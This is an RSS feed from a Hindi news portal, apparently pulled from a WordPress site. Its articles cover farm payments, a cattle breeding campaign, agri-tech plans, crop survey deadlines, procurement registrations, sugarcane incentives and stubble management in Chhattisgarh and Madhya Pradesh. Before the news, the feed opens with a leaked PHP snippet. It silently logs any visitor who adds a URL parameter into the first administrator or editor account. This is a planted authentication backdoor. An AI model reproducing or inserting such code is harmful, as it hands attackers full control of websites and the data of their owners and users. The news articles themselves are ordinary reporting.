// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); farmers – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 28 Feb 2026 06:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 407 करोड़ का आज होगा भुगतान, 106830 किसान होंगे लाभान्वित https://pratyushaashakinayikiran.com/?p=201370 Sat, 28 Feb 2026 06:46:00 +0000 https://pratyushaashakinayikiran.com/?p=201370 दुर्ग.

जिले के समर्थन मूल्य पर धान विक्रय करने वाले किसानों को अंतर की राशि 407 करोड़ 89 लाख 82 हजार का आज भुगतान होगा. इससे कुल 106830 किसान लाभान्वित होंगे. इसमें कामन धान 15351 व ग्रेड ए पर 14931 रुपए प्रति एकड़ की दर से आदान सहायता राशि दी जाएगी.

योजनांतर्गत जिले में वर्ष 2025-26 के कृषक उन्नति योजनांतर्गत विकासखण्ड- दुर्ग के 25057 कृषकों को 8703.03, पाटन 44122 कृषकों को 16995.87 लाख एवं धमधा के 37651 कृषकों को राशि 15090.54 लाख रुपए भुगतान की जा रही है. खरीफ 2025 में प्रदेश के किसानों से उपार्जित धान की मात्रा पर धान (कॉमन) पर राशि 731 रुपए प्रति क्वि. की दर से अधिकतम राशि रू. 15351 प्रति एकड़ तथा धान (ग्रेड-ए) का राशि 711 रुपए प्रति क्वि. की दर से अधिकतम 14931 रुपए प्रति एकड़ की दर से आदान सहायता राशि प्रदान किया जायेगा.

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नस्ल सुधार से पशुपालकों की आय बढ़ाने की दिशा में ‘हिरण्यगर्भा अभियान’ मजबूत आधार https://pratyushaashakinayikiran.com/?p=197601 Fri, 13 Feb 2026 13:40:00 +0000 https://pratyushaashakinayikiran.com/?p=197601 अब तक 15 लाख 21 हजार से अधिक प्रजनन योग्‍य पशुओं में किया जा चुका है कृत्रिम गर्भाधान

भोपाल
मुख्‍यमंत्री डॉ. मोहन यादव के नेतृत्‍व में पशुपालकों को आर्थिक रूप से सशक्त बनाने और दुग्ध उत्पादन को दोगुना करने के लिए प्रदेश सरकार द्वारा लगातार प्रयास किए जा रहे हैं। पशुपालन एवं डेयरी विभाग द्वारा दुग्ध उत्पादन को दोगुना करने के लक्ष्य की प्राप्‍त‍ि के लिए पशुओं में नस्ल सुधार किया जा रहा है। इसके लिए प्रदेश में ‘हिरण्यगर्भा अभियान’ संचालित किया जा रहा है। पशुओं के नस्ल सुधार का यह अभि‍यान पशुपालकों की आय बढ़ाने की दिशा में एक मजबूत आधार बना है।

अभियान के अंतर्गत कृत्रिम गर्भाधान, बधियाकरण, गोशालाओं में नस्ल सुधार सहित पशुपालकों को सेक्‍सड सॉर्टेंड सीमन के बारे में जागरूक भी किया जा रहा है। विभाग द्वारा चलाए जा रहे इस अभियान का मुख्‍य उद़देश्‍य गोशालाओं को आत्‍मनिर्भर बनाना, कृत्रिम गर्भाधान और स्‍थानीय स्‍तर पर प्रत्‍येक ग्राम पंचायत के बेरोजगार युवा को स्‍वरोजगार से जोड़ा जा सके। इसके लिए प्रत्येक पंचायत में बहुउद्देश्यीय कृत्रिम गर्भाधान कार्यकर्ता (मैत्री) की व्‍यवस्‍था करना है।

कृत्रिम गर्भाधान पर विशेष फोकस
प्रदेश सरकार द्वारा कृत्रिम गर्भाधान पर विशेष फोकस किया जा रहा है। वर्तमान में 15.21 लाख पशुओं में कृत्रिम गर्भाधान किया जा चुका है। वहीं सॉर्टेड सेक्स सीमन के उपयोग को बढ़ावा देते हुए अब तक 1.65 लाख पशुओं में इसका सफल उपयोग किया गया है। कृत्रिम गर्भाधान की गुणवत्ता सुधारने के लिए मानक संचालन प्रक्रिया (SOP) जारी की गई है। साथ ही जागरुकता के लिए राज्य, जिला और विकासखंड स्तर पर निरंतर प्रशिक्षण दिया जा रहा है। इसके अलावा कॉल सेंटर के माध्यम से प्रतिदिन किए गए कार्यों का टेलीफोनिक सत्यापन भी किया जा रहा है, जिससे पारदर्शिता और गुणवत्ता सुनिश्चित हो रही है।

पंचायतों में ‘मैत्री’ कार्यकर्ता की व्‍यवस्‍था
पशुपालकों को कृत्रिम गर्भाधान की घर पहुंच सेवा उपलब्ध कराने एवं ग्रामीण शिक्षित बेरोजगार युवाओं को स्वरोजगार उपलब्ध कराने के उद्देश्य से प्रत्येक पंचायत में बहुउद्देश्यीय कृत्रिम गर्भाधान कार्यकर्ता (मैत्री) का प्रशिक्षण कार्यक्रम संचालित किया जा रहा है। अभी तक 12 हजार 988 से अधिक मैत्री प्रशिक्षित किए गए हैं।

गोशालाओं को बनाया जा रहा आत्मनिर्भर
अभियान के अंतर्गत प्रदेश की गोशालाओं को आत्मनिर्भर बनाने की पहल की जा रही है। इसके लिए प्रजनन योग्‍य गोवंश में कृत्रिम गर्भाधान एवं अनुपयोगी सांडों का बधियाकरण किया जा रहा है। वर्तमान में प्रदेश की विभिन्‍न गोशालाओं में उपलब्‍ध 11 हजार 551 गोवंश में कृत्रिम गर्भाधान तथा 37 हजार 355 सांडों का बधियाकरण किया गया है।

कृत्रिम गर्भाधान कार्यकर्ता पुरस्कार योजना के माध्‍यम से किया जाएगा पुरस्कृत
विभाग द्वारा नस्ल सुधार कार्यक्रम में उत्कृष्ट कार्य करने वाले सहायक पशु चिकित्सा क्षेत्र अधिकारियों, मैत्री एवं अन्य कार्यकर्ताओं को प्रोत्साहित किया जाएगा। इसके लिए “कृत्रिम गर्भाधान कार्यकर्ता पुरस्कार योजना प्रारंभ की जाएगी। विकासखंड, जिला एवं राज्य स्तर पर प्रथम, द्वितीय और तृतीय पुरस्कार प्रदान किए जाएंगे।

कॉल सेंटर के माध्‍यम से प्रतिदिन किया जा रहा सत्‍यापन
हिरण्यगर्भा अभियान अंतर्गत किए जा रहे कार्यों का राज्‍य स्‍तर पर प्रतिदिन कॉल सेंटर के माध्‍यम से सत्‍यापन किया जा रहा है। प्रदेश में कृत्रिम गर्भाधान के कार्य की गुणवत्ता में निरंतर सुधार हुआ है। प्रदेश में सेक्सड सॉर्टेड सीमेन से कृत्रिम गर्भाधान कराने की मांग बढ़ी है। साथ ही प्रदेश में दुग्ध संकलन में भी इजाफा हुआ है।

 

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कृषक कल्याण वर्ष में किसानों को मिल रही है वैज्ञानिक कृषि तकनीक की जानकारी https://pratyushaashakinayikiran.com/?p=195563 Thu, 05 Feb 2026 03:46:00 +0000 https://pratyushaashakinayikiran.com/?p=195563 “कृषक कल्याण वर्ष-2026”
कृषक कल्याण वर्ष में किसानों को मिल रही है वैज्ञानिक कृषि तकनीक की जानकारी

कृषि रथ से किसानों को मिट्टी में मौजूद तत्वों के अनुसार फसल कॉम्बीनेशन की मिल रही जानकारी
कृषक कल्याण वर्ष में किसानों को मिल रही आधुनिक कृषि तकनीकों की ट्रेनिंग और जानकारी

भोपाल

मुख्यमंत्री डॉ. मोहन यादव की पहल पर वर्ष 2026 को “कृषक कल्याण वर्ष” के रूप में मनाया जा रहा है। कृषि को आधुनिक तकनीक, परम्परागत ज्ञान और प्राकृतिक संतुलन के साथ नई ऊँचाइयों तक ले जाने तथा अन्नदाता के सम्मान और समग्र उत्थान की दिशा में इस महा अभियान का शुभारंभ मुख्यमंत्री डॉ. यादव द्वारा किया गया है। बुरहानपुर जिले में जिला स्तरीय कार्यक्रम एवं संवाद-सत्र के आयोजन के साथ ‘‘कृषि रथ’’ को हरी झंडी दिखाकर रवाना किया गया। इस अवसर पर बुरहानपुर विधायक मती अर्चना चिटनिस, जनप्रतिनिधि, प्रगतिशील कृषकगण उपस्थित रहे।

कृषि रथ द्वारा प्रत्येक ग्राम पंचायत में पहुंचकर किसानों को जैविक एवं प्राकृतिक खेती मृदा स्वास्थ्य कार्ड योजना, एकीकृत पोषक तत्व प्रबंधन, कीट एवं रोग प्रबंधन, फसल विविधिकरण, कृषि को लाभकारी बनाने के उपाय, विभागीय योजना, ई-टोकन उवर्रक वितरण व्यवस्था तथा पराली प्रबंधन संबंधित योजनाओं की जानकारी दी जा रही है। प्रगतिशील किसानों को उत्पादन लागत को कम करने के लिये सही मिट्टी, सही खेती एवं सही फसल का कॉम्बीनेशन की जानकारी भी दी जा रही है।

ग्राम पातोंडा, चिंचाला एवं एमागिर्द में कृषक चौपाल आयोजित

बुरहानपुर जिले में कृषि विभाग, कृषि विज्ञान केंद्र, पशुपालन विभाग, सहकारिता विभाग की संयुक्त टीम द्वारा ग्राम पंचायत पातोंडा, चिंचाला एवं एमागिर्द में कृषक चौपाल का आयोजन किया गया। कृषक चौपाल में उर्वरक वितरण की ई-टोकन प्रणाली, प्राकृतिक खेती के आधार जैसेः-जीवामृत, बीजामृत, नीमास्त्र, ब्रह्मास्त्र, दसपर्णी अर्क को बनाने की विधि की विस्तृत जानकारी दी गई। वहीं रासायनिक उर्वरकों के उपयोग से मृदा के स्वास्थ्य पर होने वाले प्रभावों, मिट्टी नमूना लेने की विधि एवं संतुलित मात्रा में उर्वरकों के उपयोग की अनुशंसा करने की सलाह दी गयी। दलहन एवं तिलहन फसलों को बढ़ावा देने के लिए जायद फसल उड़द और मूंगफली के बारे में बताया गया एवं बुवाई के लिए प्रेरित भी किया गया। बुरहानपुर जिले के विभिन्न ग्रामों में आयोजित हो रही कृषक चौपालों में पराली प्रबंधन सहित योजनाओं एवं अन्य महत्वपूर्ण बिन्दुओं पर भी जानकारी दी जा रही है।

ग्राम बाकड़ी में लगी कृषि चौपाल, योजनाओं की दी जानकारी

कृषक कल्याण वर्ष-2026 अंतर्गत बुरहानपुर जिले के ग्राम बाकड़ी में कृषि रथ पहुंचा। इस दौरान विभागीय अधिकारियों द्वारा चौपाल लगाकर ग्रामीणों को उन्नत कृषि एवं तकनीकियों की बारीकी से जानकारी दी गयी। ग्रामीणों को जैविक खेती, मृदा स्वास्थ्य कार्ड, कीट व रोग प्रबंधन, फसल विविधीकरण, उर्वरकों के संतुलित उपयोग तथा कृषि को लाभ का व्यवसाय बनाने के उपाय बताये गये। कृषि विभाग द्वारा संचालित कृषि रथ गांव-गांव पहुंचकर किसानों को जनकल्याणकारी योजनाओं की जानकारी दे रहा है। प्रदेश सरकार के नेतृत्व में जिले में समृद्ध किसान से समृद्ध प्रदेश बनाने के लिये निरंतर प्रयास किये जा रहे हैं।

प्रत्येक गुरूवार को ‘‘प्राकृतिक हाट बाजार’’ आयोजित

बुरहानपुर जिले में राष्ट्रीय प्राकृतिक खेती मिशन के अंतर्गत किसानों को प्राकृतिक खेती से जोड़ने एवं उनके उत्पादों को बाजार उपलब्ध कराने के उद्देश्य से प्रति गुरुवार को महात्मा ज्योतिबा फुले कृषि उपज मंडी, शनवारा में ‘‘प्राकृतिक हाट बाजार’’ का आयोजन किया जा रहा है। हाट बाजार के अवलोकन के दौरान कलेक्टर  हर्ष सिंह ने कहा कि प्राकृतिक खेती पर्यावरण संरक्षण में भी सहायक है, इससे किसानों की आय बढ़ने के साथ-साथ सुरक्षित एवं पौष्टिक उत्पाद प्राप्त होते है, अन्य किसानों को भी प्राकृतिक खेती करने के लिये प्रोत्साहित करें।

 

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खेती में तकनीक की क्रांति: अब ड्रोन, AI और रोबोट संभालेंगे खेती-बाड़ी, लागत घटेगी, पैदावार बढ़ेगी https://pratyushaashakinayikiran.com/?p=189714 Fri, 07 Nov 2025 04:36:00 +0000 https://pratyushaashakinayikiran.com/?p=189714 नई दिल्ली.
 भारत में कृषि अब सिर्फ परंपरा नहीं, बल्कि तकनीक का संगम बन चुकी है. एग्री-टेक यानी कृषि प्रौद्योगिकी ने किसानों की मेहनत को आधुनिक साधनों से जोड़कर खेती को लाभकारी बना दिया है. ड्रोन से लेकर सेंसर्स, डेटा एनालिटिक्स और मोबाइल ऐप्स तक- हर स्तर पर तकनीक का असर दिखने लगा है. अब किसान मौसम की सटीक जानकारी, मिट्टी की गुणवत्ता और फसल की पैदावार का अनुमान डिजिटल साधनों से कर पा रहे हैं. इससे न सिर्फ उत्पादकता बढ़ रही है, बल्कि लागत में भी बड़ी कमी आई है.

केंद्र सरकार की योजना परवान चढ़ी तो देश में कृषि अब हल-बैल से नहीं, ड्रोन, कृत्रिम बुद्धिमत्ता (एआइ), रोबोट और बीजों की जीन एडिटिंग से चलेगी। पानी की बर्बादी शून्य होगी और भरपूर पैदावार से अन्नदाता किसान की आय मौजूदा स्तर से दोगुनी हो सकती है। नीति आयोग ने अगले पांच साल के लिए देश में खेती का रोडमैप जारी करते हुए यह सपना दिखाया है जो सच भी हो सकता है।

नीति आयोग ने रोडमैप के रूप में विजन डॉक्यूमेंट ‘रीइमैजिनिंग एग्रीकल्चर : रोडमैप फॉर फ्रंटियर टेक्नोलॉजी लेड ट्रांसफॉर्मेशन’ तैयार किया है। इस डॉक्यूमेंट में कृषि में 100 प्रतिशत आत्मनिर्भता लाने के लिए ऐसी तकनीकों को चुना है, जिसके जरिए देश की कृषि में क्रांतिकारी बदलाव आने की उम्मीद है। ये तकनीकें क्लाइमेट चेंज, पानी की कमी, मिट्टी की थकान और बाजार की अनिश्चितता को खत्म करने में मददगार बनेगी। रोडमैप पर प्रभावी अमल से अगले 5 साल में देश मेें कृषि लागत 40 प्रतिशत घटने का अनुमान जताया गया है। कृषि लागत को ही किसानों की खुशहाली और खेती को लाभकारी बनाने में सबसे बड़ी बाधा माना जाता है। रोडमैप से कृषि उत्पादन में 60 प्रतिशत बढ़ोतरी होगी।

स्मार्ट फार्मिंग: खेतों से जुड़ी स्मार्ट सोच
‘स्मार्ट फार्मिंग’ अब भारतीय गांवों में तेजी से लोकप्रिय हो रही है. यह तकनीक खेती के हर चरण में वैज्ञानिक नजरिया अपनाने पर आधारित है. उदाहरण के लिए, ड्रोन के जरिए फसलों पर छिड़काव से समय और पानी दोनों की बचत होती है. वहीं, सेंसर से मिट्टी की नमी और पोषक तत्वों की निगरानी कर किसान तय कर सकते हैं कि किस समय कितनी सिंचाई या खाद की जरूरत है. कई स्टार्टअप्स किसानों को मोबाइल ऐप्स के माध्यम से बाजार भाव, बीज चयन, और फसल बीमा की जानकारी भी दे रहे हैं. इससे किसान पहले से ज्यादा आत्मनिर्भर और जागरूक हो रहे हैं.

डिजिटल एग्रीकल्चर से नए अवसर
सरकार और निजी कंपनियां मिलकर ‘डिजिटल एग्रीकल्चर’ को तेजी से बढ़ावा दे रही हैं. प्रधानमंत्री किसान ड्रोन योजना, डिजिटल किसान पोर्टल, और ई-नाम (राष्ट्रीय कृषि बाजार) जैसी पहलों ने किसानों के लिए तकनीक को सुलभ बना दिया है. आज किसान अपने स्मार्टफोन से सीधे मंडियों से जुड़ सकते हैं और बिचौलियों से बचकर बेहतर दाम पा सकते हैं. इसके अलावा, सैटेलाइट इमेजिंग और आर्टिफिशियल इंटेलिजेंस (AI) जैसी तकनीकें फसलों की स्थिति पर नज़र रखती हैं और समय रहते चेतावनी भी देती हैं. इससे फसल नुकसान की संभावना काफी घट गई है.

आधुनिक तकनीक से आत्मनिर्भर किसान
एग्री-टेक ने भारतीय कृषि को नई दिशा दी है. जहां पहले खेती को जोखिम भरा माना जाता था, वहीं अब यह इनोवेशन और उद्यमिता का क्षेत्र बन चुका है. युवा किसान अब पारंपरिक खेती के साथ-साथ जैविक, हाइड्रोपोनिक और प्रिसिशन फार्मिंग जैसी तकनीकों को अपना रहे हैं. इससे न केवल उनकी आमदनी बढ़ रही है, बल्कि ग्रामीण अर्थव्यवस्था भी मजबूत हो रही है. भारत धीरे-धीरे ‘स्मार्ट एग्रीकल्चर इकोनॉमी’ की ओर बढ़ रहा है, जहां तकनीक और परंपरा मिलकर एक स्थायी कृषि भविष्य की नींव रख रहे हैं.

संक्षेप में भारत में एग्री-टेक सिर्फ खेती का आधुनिकीकरण नहीं, बल्कि किसानों की जिंदगी में नई उम्मीदों की बुआई है. तकनीक ने साबित कर दिया है कि अगर सही जानकारी और संसाधन मिलें, तो खेत भी डिजिटल इंडिया की ताकत बन सकते हैं.

फ्रंटियर टेक्नोलॉजी : खेत से लैब तक

ड्रोन फार्मिंग : एक घंटे में 50 एकड़ पर कीटनाशक छिड़काव, 80% दवा बचत।

आर्टिफिशियल इंटेलिजेंस व मशीन लर्निंग (एआइ/एमएल): मौसम, कीट, बीमारी का 100% सटीक पूर्वानुमान।

इंटरनेट ऑफ थिंग्स (आइओटी) : मिट्टी की नमी, पीएच, पोषक तत्व 24 घंटे सातों दिवस मोबाइल पर।

सैटेलाइट इमेजरी : बादल पार कर फसल की लाइव तस्वीर, सूखा-बाढ़ अलर्ट।

ब्लॉकचेन : बीज से बाजार तक पारदर्शी चेन, नकली खाद-बीज खत्म।

रोबोटिक्स : बुवाई, निराई, कटाई सब ऑटोमैटिक, मजदूरों की कमी दूर।

जीन एडिटिंग (सीआरआइएसपीआर ) : 2 साल में सूखा, कीट, नमक रोधी नई किस्में।

प्रिसिजन फार्मिंग : हर पौधे को अलग खाद-पानी, 30% लागत में होगी बचत।

वर्टिकल फार्मिंग : शहरों में की छतों पर 10 मंजिला खेत, 1 एकड़ यानी 10 एकड़ यील्ड पर फॉर्मिंग।

हाइड्रोपोनिक्स : बिना मिट्टी, 90 प्रतिशत कम पानी, साल भर फसल।

एरोपोनिक्स : हवा में उगाएं सब्जी, पानी की बूंद भी न बर्बाद।

बिग डेटा एनालिटिक्स : हर गांव, हर फसल का अलग ‘डिजिटल फॉर्मूला’।

साल दर साल ऐसे कदम

वर्ष –लक्ष्य — यह होगा

2026- पायलट प्रोजेक्ट – 10 राज्यों में ड्रोन एआइ हब, 1 लाख एकड़ कवर

2027- डिजिटल पहुंच – 50 प्रतिशत किसानों को मुफ्त ऐप, सैटेलाइट डेटा, आइओटी किट मिलेंगे

2028 –ग्लोबल मार्केट- ब्लॉक चेन से सीधे निर्यात, 10 लाख टन ऑर्गेनिक

2029—रोबोट क्रांति-— 500 रुपए /दिन रोबोट किराया, 50,000 यूनिट डिप्लॉय

2030—स्मार्ट विलेज-–हर गांव में ‘डिजिटल खेत’, आय दोगुनी की गारंटी

किसानो को ऐसे लाभ

आय: 1 एकड़ में गेहूं से मौजूदा 25,000 रुपए से बढ़कर 2030 में 70,000 रुपए

लागत कम: 40% कम होगी (खाद-पानी-दवा)

उत्पादन बढ़ेगा : 60% बढ़ेगा

पानी बचत : 90% (हाइड्रो/एरोपोनिक्स)

बाजार उपलब्धता: 100% (ब्लॉकचेन)

फंडिंग और इंफ्रास्ट्रक्चर :

कृषि-टेक फंड : 50,000 करोड़ रुपए

ड्रोन दीदी : 1 लाख महिलाओं को ट्रेनिंग।

एआइ लैब: हर जिले में 1 एआइ लैब बनेगी।

फ्री स्मार्टफोन: 10 करोड़ किसानों को

रोबोट बैंक: 1 लाख यूनिट रेंट पर खुलेगा।

सब साथ आएंगे होंगे सफल

यह यात्रा अकेले सरकार की नहीं है। यह तभी सफल होगी जब किसान, वैज्ञानिक, उद्यमी, निवेशक और नीति-निर्माता एक साथ आएं। हमें यह सुनिश्चित करना होगा कि तकनीक केवल प्रयोगशालाओं तक सीमित न रहे, बल्कि खेतों तक पहुंचे। जहां यह वास्तव में बदलाव ला सकें। यह रोडमैप ऐसे भविष्य का एक आह्वान है, जहां भारत विश्व का अन्न भंडार बने।

-बी.वी.आर.सुब्रह्मण्यम, सीईओ, नीति आयोग

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किसानों के लिए खुशखबरी: डिजिटल क्रॉप सर्वे और गिरदावरी सत्यापन की तारीख बढ़ी, अब इस दिन तक कर सकेंगे अपडेट https://pratyushaashakinayikiran.com/?p=188313 Thu, 30 Oct 2025 15:50:00 +0000 https://pratyushaashakinayikiran.com/?p=188313 रायपुर

छत्तीसगढ़ के किसानों के लिए खुशखबरी है। छत्तीसगढ़ सरकार ने राज्य के समस्त जिलों के लिए डिजिटल क्रॉप सर्वे और गिरदावरी के मोबाईल PV ऐप के माध्यम से सत्यापन की समय सीमा को एक माह के लिए बढ़ा दिया है। अब यह प्रक्रिया 31 अक्टूबर 2025 की बजाय 30 नवंबर 2025 तक की जा सकेगी।

बता दें कि इस संबंध में खाद्य, नागरिक आपूर्ति एवं उपभोक्ता संरक्षण विभाग द्वारा आज सभी कलेक्टरों को पत्र जारी किया गया है। विभाग ने पत्र में अपने 11 सितंबर 2025 के आदेश का संदर्भ देते हुए बताया कि पूर्व में यह प्रावधान किया गया था कि गिरदावरी एवं डिजिटल क्रॉप सर्वे के संशोधन की अंतिम तिथि 30 सितंबर 2025 तक रहेगी। इसके बाद केवल PV ऐप के माध्यम से भौतिक सत्यापन के बाद ही प्रविष्टियों में संशोधन किया जा सकेगा। यह ऐप 15 सितंबर 2025 से Go Live किया गया था, जिसके माध्यम से 31 अक्टूबर 2025 तक प्रविष्टियों में बदलाव करने की अनुमति थी।

अब शासन ने किसानों की सुविधा और प्रशासनिक कार्यों को ध्यान में रखते हुए इस अवधि को 30 नवंबर 2025 तक बढ़ाने का निर्णय लिया है। इस अवधि में संबंधित अधिकारी PV ऐप के जरिए भौतिक सत्यापन उपरांत डेटा संशोधन कर सकेंगे।

गौरतलब है कि डिजिटल क्रॉप सर्वे और गिरदावरी का यह ऑनलाइन सत्यापन अभियान राज्य में कृषि डेटा के डिजिटलीकरण और पारदर्शिता की दिशा में एक अहम कदम है। इससे फसलों के वास्तविक रकबे का सटीक आंकलन किया जा सकेगा, जो आगे धान खरीदी, बीमा, एवं अन्य कृषि योजनाओं के क्रियान्वयन में सहायक सिद्ध होगा।

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समर्थन मूल्य पर धान, ज्वार, बाजरा उपार्जन के लिए 8 लाख 53 हजार 911 किसानों ने कराया पंजीयन https://pratyushaashakinayikiran.com/?p=187032 Fri, 24 Oct 2025 14:35:00 +0000 https://pratyushaashakinayikiran.com/?p=187032 समर्थन मूल्य पर धान, ज्वार, बाजरा उपार्जन के लिए 8 लाख 53 हजार 911 किसानों ने कराया पंजीयन

गत वर्ष 7 लाख 84 हजार 845 किसानों ने कराया था पंजीयन

भोपाल
समर्थन मूल्य पर धान, ज्वार, बाजरा उपार्जन के लिए इस वर्ष 8 लाख 53 हजार 911 किसानों ने पंजीयन कराया है। पिछले वर्ष 7 लाख 84 हजार 845 किसानों ने पंजीयन कराया था। खाद्य, नागरिक आपूर्ति एवं उपभोक्ता संरक्षण मंत्री  गोविन्द सिंह राजपूत ने बताया है कि इस वर्ष विगत वर्ष की तुलना में लगभग 69 हजार अधिक किसानों ने पंजीयन कराया है। धान उपार्जन के लिये 8 लाख 47 हजार 830, ज्वार के लिये 2601 और बाजरा के लिये 5 हजार 545 किसानों ने पंजीयन कराया है। उन्होंने बताया है कि धान का समर्थन मूल्य 2369 रूपये, ज्वार का 3699 और बाजरा का 2775 रूपये है।

मंत्री  राजपूत ने बताया कि पंजीयन की निःशुल्क व्यवस्था ग्राम पंचायत, जनपद पंचायत एवं तहसील कार्यालयों में स्थापित सुविधा केन्द्र पर सहकारी समितियों एवं सहकारी विपणन संस्थाओं द्वारा संचालित पंजीयन केन्द्रों पर और एम.पी. किसान एप पर की गई थी।

जिलेवार पंजीयन

प्रदेश में हुए कुल पंजीयन में मुख्य रूप से जिला बालाघाट में 1 लाख 25 हजार 845 किसान, जबलपुर में 52 हजार 975, सिवनी में 59 हजार 590, कटनी में 61 हजार 388, मण्डला में 39 हजार 292, डिण्डोरी में 25 हजार 23, नरसिंहपुर में 16 हजार 204, छिंदवाड़ा में 3 हजार 258, रीवा में 70 हजार 115, सतना में 61 हजार 397, मैहर में 29 हजार 151, सिंगरौली में 30 हजार 189, सीधी में 28 हजार 536, मऊगंज में 22 हजार 369, शहडोल में 37 हजार 56, उमरिया में 27 हजार 271, अनूपपुर में 21 हजार 831, पन्ना में 37 हजार 207, दमोह में 22 हजार 896, सागर में 4 हजार 90, रायसेन में 16 हजार 983, सीहोर में 9 हजार 4, विदिशा में 1386, भोपाल में 88, नर्मदापुरम में 31 हजार 804, बैतूल में 9 हजार 546, हरदा में 510, भिंड में 1387, मुरैना में 4954, श्योपुर में 110, ग्वालियर में 750, शिवपुरी में 857, दतिया में 449, देवास में 255, बड़वानी में 61 और झाबुआ में 33 किसानों ने पंजीयन कराया है।

 

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दीपावली से पहले किसानों के चेहरे खिले, गन्ना उत्पादकों को 5.98 करोड़ का तोहफा https://pratyushaashakinayikiran.com/?p=186290 Sat, 18 Oct 2025 04:55:00 +0000 https://pratyushaashakinayikiran.com/?p=186290 कवर्धा/पंडरिया

 दीपावली पर्व से पहले कबीरधाम जिले के गन्ना उत्पादक किसानों के लिए बड़ी खुशखबरी आई है. राज्य शासन ने वर्ष 2024-25 के पेराई सत्र के लिए गन्ना विक्रेता किसानों को प्रति क्विंटल 39.90 रुपए की दर से 5 करोड़ 98 लाख रुपए की प्रोत्साहन राशि स्वीकृत की है.

यह राशि लौह पुरुष सरदार वल्लभभाई पटेल सहकारी शक्कर कारखाना मर्या. पंडरिया को प्राप्त हुई है. शासन से राशि मिलने के बाद कारखाना प्रबंधन द्वारा कुल 7,658 गन्ना उत्पादक किसानों के खातों में यह धनराशि सीधे बैंक के माध्यम से भेजने की प्रक्रिया पूर्ण कर ली गई है.

यह निर्णय दीपावली से ठीक पहले आने के कारण किसानों के चेहरों पर मुस्कान ला दी है. किसान अब त्योहार को और अधिक हर्षोल्लास से मना सकेंगे. किसानों ने इस निर्णय के लिए प्रदेश सरकार और विधायक भावना बोहरा के प्रति आभार व्यक्त किया है.

कारखाना प्रबंधन ने बताया कि गन्ना किसानों को प्रोत्साहन राशि देने का उद्देश्य उन्हें आर्थिक मजबूती प्रदान करना और समय पर भुगतान सुनिश्चित करना है. पंडरिया विधायक भावना बोहरा ने कहा कि किसानों के हित और खुशहाली ही उनकी प्राथमिकता है, और यह प्रयास उसी दिशा में एक सकारात्मक कदम है.

त्योहार के इस मौसम में राज्य शासन की यह पहल निश्चित रूप से किसानों के लिए “दीपावली का बोनस तोहफा” साबित हो रही है, जिससे ग्रामीण अर्थव्यवस्था में भी नई रौनक देखने को मिलेगी.

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MP में किसानों को सिखाया जाएगा फसल अवशेष प्रबंधन, धान की पराली और गेहूं की नरवाई से मिलेगा दोहरा लाभ https://pratyushaashakinayikiran.com/?p=180266 Sun, 24 Aug 2025 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=180266 ग्वालियर
 ग्वालियर चंबल अंचल में हुई रिकार्ड वर्षा के बीच धान का रकबा लक्ष्य से अधिक बढ़ गया है। इसके साथ ही पराली की समस्या भी डराने लगी है, क्योंकि पिछले साल देश में सबसे अधिक पराली अंचल के श्योपुर और दतिया में जलाई गई थी। बहरहाल, कृषि विभाग ने इस समस्या का समाधान निकाल लिया है।

कृषि विभाग ने किसानों को पराली का प्रबंधन सिखाने की योजना बनाई है। योजना कारगर साबित हुई तो किसानों को दोहरा फायदा होगा। यानी पराली की समस्या का समाधान होगा और बुवाई के लिए खेत की बार-बार जुताई से मुक्ति मिलेगी।

एक बार में ही खेत की पराली समस्या का हल और बीज की बुवाई भी हो जाएगी। यह काम हैप्पी सीडर मशीन से होगा। कृषि विभाग फिलहाल जिले के 250 किसानों को 250 हेक्टेयर जमीन पर हैप्पी सीडर से पराली प्रबंधन व जुताई का तरीका सिखाएगा।

क्या है हैप्पी सीडर मशीन, कैसे होगा पराली की समस्या का हल

हैप्पी सीडर एक आधुनिक कृषि मशीन है, जो खासतौर पर पराली (फसल कटने के बाद बचा हुआ डंठल और पुआल) जलाने की समस्या का समाधान करेगी। हैप्पी सीडर को ट्रैक्टर से जोड़ा जाता है। यह पहले खेत में पड़ी हुई पराली को काटकर साइड में फैला देती है। उसी समय मशीन जमीन में गेहूं या अन्य रबी की फसल का बीज बो देती है। इस तरह बिना पराली जलाए सीधे उसी खेत में अगली फसल की बुआई हो जाती है।

क्या है कृषि विभाग की पूरी योजना

    स्थानीय कृषि विभाग धान की पैदावार करने वाले अलग-अलग क्षेत्रों में ऐसे 250 किसानों को चिह्नित कर रहा है, जिनके पास कम से कम एक हेक्टेयर जमीन हो। धान की फसल होने के बाद इन किसानों के खेतों में हैप्पी सीडर से सीधे पराली को काटकर, खेत जोतकर गेहूं की बुवाई कराई जाएगी।

    हैप्पी सीडर मशीन की कीमत 1.5 लाख से 3 लाख रुपये के बीच है। इस पर सरकार 50 प्रतिशत से अधिक सब्सिडी दे रही है। यदि कोई समूह या समिति इसे खरीदता है, तो सब्सिडी और बढ़ जाती है। कृषि विभाग गांव के उन किसानों को हैप्पी सीडर मशीन खरीदने के लिए प्रेरित कर रही है, जिनके पास ट्रैक्टर हैं।

ऐसे होगा किसानों को दोहरा फायदा

    कृषि विभाग के सहायक संचालक नरेश मीणा बताते हैं कि धान की कटाई के बाद पराली को जलाने या नष्ट करने के लिए खेत को तैयार किया जाता है। इस तरह बुआई से पहले किसानों को दो से तीन बार जुताई करना होती है। हैप्पी सीडर मशीन पराली की कटाई करेगी और साथ ही गहरी जुताई भी कर देगी। इस तरह किसानों का श्रम और खर्च बचेगा। इसका उपयोग गेहूं की कटाई के बाद नरवाई के प्रबंधन में भी किया जा सकता है।

    हैप्पी सीडर से काटकर खेत की मिट्टी में मिलाई गई पराली एक से डेढ़ महीने में जैविक खाद में बदल जाएगी। इससे किसानों को खेतों में खाद भी कम देना होगा।

धान का रकबा बढ़ गया

